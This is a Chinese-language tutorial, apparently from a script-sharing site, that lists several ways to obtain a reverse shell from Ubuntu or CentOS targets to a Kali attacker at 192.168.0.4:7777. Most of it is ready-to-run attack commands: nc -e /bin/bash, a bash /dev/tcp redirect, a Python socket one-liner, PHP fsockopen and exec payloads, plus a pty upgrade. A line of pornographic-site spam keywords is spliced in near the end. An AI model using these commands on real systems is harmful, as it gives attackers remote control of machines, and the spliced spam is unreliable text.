快捷導(dǎo)航

詳解NC反彈shell的幾種方法

更新時(shí)間：2020年10月20日 11:44:36 作者：ctrl_TT豆

這篇文章主要介紹了詳解NC反彈shell的幾種方法，文中通過(guò)示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧

假如ubuntu、CentOS為目標(biāo)服務(wù)器系統(tǒng)

kali為攻擊者的系統(tǒng)，ip為：192.168.0.4，開(kāi)放7777端口且沒(méi)被占用

最終是將ubuntu、CentOS的shell反彈到kali上

正向反彈shell

ubuntu或者CentOS上面輸入

nc -lvp 7777 -e /bin/bash

kali上輸入

nc ip 7777

正向反彈是目標(biāo)機(jī)先執(zhí)行nc命令，然后kali上再進(jìn)行nc監(jiān)聽(tīng)，即可反彈shell。

需要目標(biāo)機(jī)安裝nc。

反向反彈shell

方法1：bash反彈

bash -i >& /dev/tcp/ip/port 0>&1

但首先需要在kali上使用nc監(jiān)聽(tīng)端口：

nc -lvp 7777

此方法在ubuntu下不會(huì)反彈成功，CentOS可以反彈成功。

方法2：python反彈

反彈shell的命令如下：

復(fù)制代碼代碼如下:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

首先，使用nc在kali上監(jiān)聽(tīng)端口：

nc -lvp 7777

在CentOS或者ubuntu下使用python去反向連接，輸入：

復(fù)制代碼代碼如下:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

此方法ubuntu和Linux均反彈成功。

方法3

首先在kali上輸入nc監(jiān)聽(tīng)：

nc -lvp 7777

在CentOS或者ubuntu 上使用nc去反向連接，命令如下：

nc -e /bin/bash 192.168.0.4 7777

方法4：php反彈shell

首先在kali上輸入：

nc -lvp 7777

然后在目標(biāo)機(jī)上輸入：

php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

或

php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

注意php反彈shell的這些方法都需要php關(guān)閉safe_mode這個(gè)選項(xiàng)，才可以使用exec函數(shù)。

遇到反彈后不是正常的shell，可用命令：

python -c 'import pty;pty.spawn("/bin/bash")'

轉(zhuǎn)化為常規(guī)的shell。

到此這篇關(guān)于詳解NC反彈shell的幾種方法的文章就介紹到這了,更多相關(guān)NC反彈shell內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！

您可能感興趣的文章:

Linux下NC反彈shell命令（推薦）

最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

詳解NC反彈shell的幾種方法

相關(guān)文章

最新評(píng)論

大家感興趣的內(nèi)容

最近更新的內(nèi)容

常用在線(xiàn)小工具